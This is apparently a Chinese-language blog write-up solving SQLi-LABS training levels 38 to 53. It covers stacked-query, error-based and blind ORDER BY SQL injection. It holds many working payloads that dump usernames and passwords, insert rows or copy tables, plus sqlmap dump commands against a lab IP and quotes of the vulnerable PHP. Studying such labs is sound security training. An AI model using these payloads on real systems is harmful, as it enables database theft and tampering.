SQLi-LABS靶场Less-38~53解题记录

刷题

Page3

Less-38(GET- Stacked Query Injection - String)

GET - 堆叠查询注入 - 字符串

image-20211118215801479

堆叠注入,实际上就构成了两条SQL语句

?id=1' union select 1,2,3 --+    //未报错

?id=1' union select 1,2,3,4 --+     //报错

查询出有三个字段,

使用堆叠注入,

暴位置

?id=-1' union select 1,2,3;insert into users values(33,'hacker','hacker')  --+

image-20211118214900322

爆库及版本

?id=-1' union select 1,version(),database();insert into users values(33,'hacker','hacker')  --+

image-20211119145844717

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')  --+

image-20211118214949735

暴字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')  --+

image-20211118215605002

暴值

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')  --+

image-20211118215621378

代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-39(GET - Stacked Query Injection - Intiger based)

GET - 堆叠查询注入 - 基于int整型

image-20211118215820232

同上题,只不过没有单引号

暴位置

?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')

image-20211118215833245

爆库及版本

?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')

image-20211119145947405

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')

image-20211118215850010

暴字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')

image-20211118215957718

暴值

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')

image-20211118220014411

代码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-40(GET - BLIND based - String - Stacked)

GET - 基于盲注 - 堆叠

image-20211118223748573

同上题,只不过加上单引号和右括号 ‘)

使用堆叠注入,

暴位置

?id=-1') union select 1,2,3;insert into users values(33,'hacker','hacker')  --+

image-20211118223837679

爆库及版本

?id=-1') union select 1,version(),database();insert into users values(33,'hacker','hacker')  --+

image-20211119150038124

爆表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')  --+

image-20211118223850787

暴字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')  --+

image-20211118223906677

暴值

?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')  --+

image-20211118223933686

代码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-41(GET - BLIND based - Intiger - Stacked)

GET - 基于盲注 - int整型 - 堆叠

image-20211118224240402

同39一样,只不过错误没有回显

暴位置

?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')

image-20211118224258271

爆库和版本

?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')

image-20211118224418283

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')

image-20211118225827774

暴字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')

image-20211118225845585

暴值

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')

image-20211118225902583

代码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-42(POST - Error based - String - Stacked)

POST - 基于错误 - 字符串 - 堆叠

image-20211119151717141

看看注册页是啥

image-20211119152010044

好像是禁止注册新用户了

首先使用admin:admin进行登录

image-20211119151913807

发现登录进来的页面很熟悉image-20211119151927239

退出重新进入登录页面

尝试在password里面进行堆叠注入

a';create table hacker like users;insert into hacker select *from users; #

image-20211119152835886

看似的确报错了,我们去数据库看看,发现hacker表已经成功建立

image-20211119153242340

同样的利用此方式可以更新和插入数据项。

代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

if (@mysqli_multi_query($con1, $sql))

Less-43(POST - Error based - String - Stacked with twist)

POST - 基于盲注 - 字符串 - 堆叠和小括号

同上,只不过多了一个);

payload-password: a’);create table less43 like users#
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

if (@mysqli_multi_query($con1, $sql))
Parameter: login_password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: login_user=admin&login_password=admin') AND 3114=3114-- kinF&mysubmit=Login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login_user=admin&login_password=admin') AND (SELECT 9105 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(9105=9105,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rvTf&mysubmit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login_user=admin&login_password=admin') AND (SELECT 3308 FROM (SELECT(SLEEP(5)))xCka)-- twYD&mysubmit=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: login_user=admin&login_password=-1339') UNION ALL SELECT NULL,CONCAT(0x716a7a6b71,0x7467725a7970747061735a584c4f7664744a6b71596751507051474d4f5a48584e7446774f4d7142,0x716a6b6a71),NULL-- -&mysubmit=Login
---

Less-44(POST - Error based - String - Stacked -Blind)

POST - 基于错误 - 字符串 - 堆叠 - 盲注

同上42,只是没有回显信息

payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#
代码分析
 $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST["login_password"];

 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  
 if (@mysqli_multi_query($con1, $sql))
---
Parameter: login_password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: login_user=admin&login_password=admin' AND 2513=2513-- ouQj&mysubmit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login_user=admin&login_password=admin' AND (SELECT 1752 FROM (SELECT(SLEEP(5)))XNKu)-- GDXe&mysubmit=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: login_user=admin&login_password=-8220' UNION ALL SELECT NULL,CONCAT(0x716a767671,0x6f66556958554859626b6d73416f6575525a4a505546797a744f4e4c49594b74554a4c6355586a78,0x7170707a71),NULL-- -&mysubmit=Login
---

Less-45(POST - Error based - String - Stacked - Blind)

POST - 基于错误 - 字符串 - 堆叠 - 盲注

同上43,只是没有回显信息

payload-password:a’);create table less43 like users#
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

if (@mysqli_multi_query($con1, $sql))

Less-46(GET - Error based - Numeric - ORDER BY CL AUSE)

GET - 基于错误 - Numeric数字型 - order by子句

image-20211119153852824

方法一:手工注入

尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

?sort=1 asc
?sort=1 desc

image-20211119154010356

image-20211119154056432

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

?sort=left(version(),1)

没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)rand(false)的结果是不一样的。

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入:

爆表:

?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

image-20211119154206347

暴列:

?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

image-20211119154232440

暴值:

?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

image-20211119154246753

显示未完全:

?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

image-20211119154320967

方法二:sqlmap自动注入

这里我们直接指定注入方式为报错注入

python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY $id";

Less-47(GET - Error based - String - ORDER BY CLAUSE)

GET - 基于错误 - 字符串 - order by子句

image-20211119164343377

同上,只不过变成字符型了,多一个单引号

暴表:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

image-20211119164435697

暴列:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

image-20211119164445741

暴值:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

image-20211119164455366

显示未完全:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

image-20211119164507478

方法二:sqlmap自动注入

通less46,这里我们指定注入方式为报错注入

python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY '$id'";

Less-48(GET- Error based - Blind- Numeric- ORDER BY CL AUSE)

GET - 基于错误 - 盲注 - 数字整型 - order by子句

本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

猜解库名:

9  

正确的

?sort=rand(left(database(),1)='d')

错误的

猜解表

?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

猜解列

?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

猜解值

?sort=rand(left((select username from users limit 0,1),1)='d')

也可以用And后的延时注入

方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY $id";

Less-49(GET- Error based - String- Blind - ORDER BY CI AUSE)

GET - 基于错误 - 盲注 - 字符串 - order by子句

本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入

方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-49?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY '$id'";

Less-50(GET - Error based - ORDER BY CLAUSE -numeric- Stacked injection)

GET - 基于错误 - order by子句 - 数字整型 - 堆叠

mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数
mysqli_query() 只可以执行一条

?sort=1;create table less50 like users --+

进行插入和修改操作。

方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-51(GET - Error based - ORDER BY CLAUSE-String- Stacked Injection)

GET - 基于错误 - order by子句 - 字符串 - 堆叠

同less50,只不过是字符型
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数
mysqli_query() 只可以执行一条

方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-52(GET - Blind based - ORDER BY CL AUSE -numeric- Stacked injection)

GET - 基于盲注 - order by子句 - 数字整型 - 堆叠

同上50,只不过不显示错误

payload:?sort=1;create%20table%20less50%20like%20users
方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-53(GET - GET - Blind based - ORDER BY CLAUSE -String- stacked injection)

GET - 基于盲注 - order by子句 - 字符串 - 堆叠

同上51,只不过不显示错误

payload:?sort=1%27;create%20table%20less53%20like%20users–+
方法二:sqlmap自动注入

这里我们指定注入方式为布尔盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)) 
posted @ 2022-04-10 14:30  hirak0  阅读(151)  评论(0编辑  收藏  举报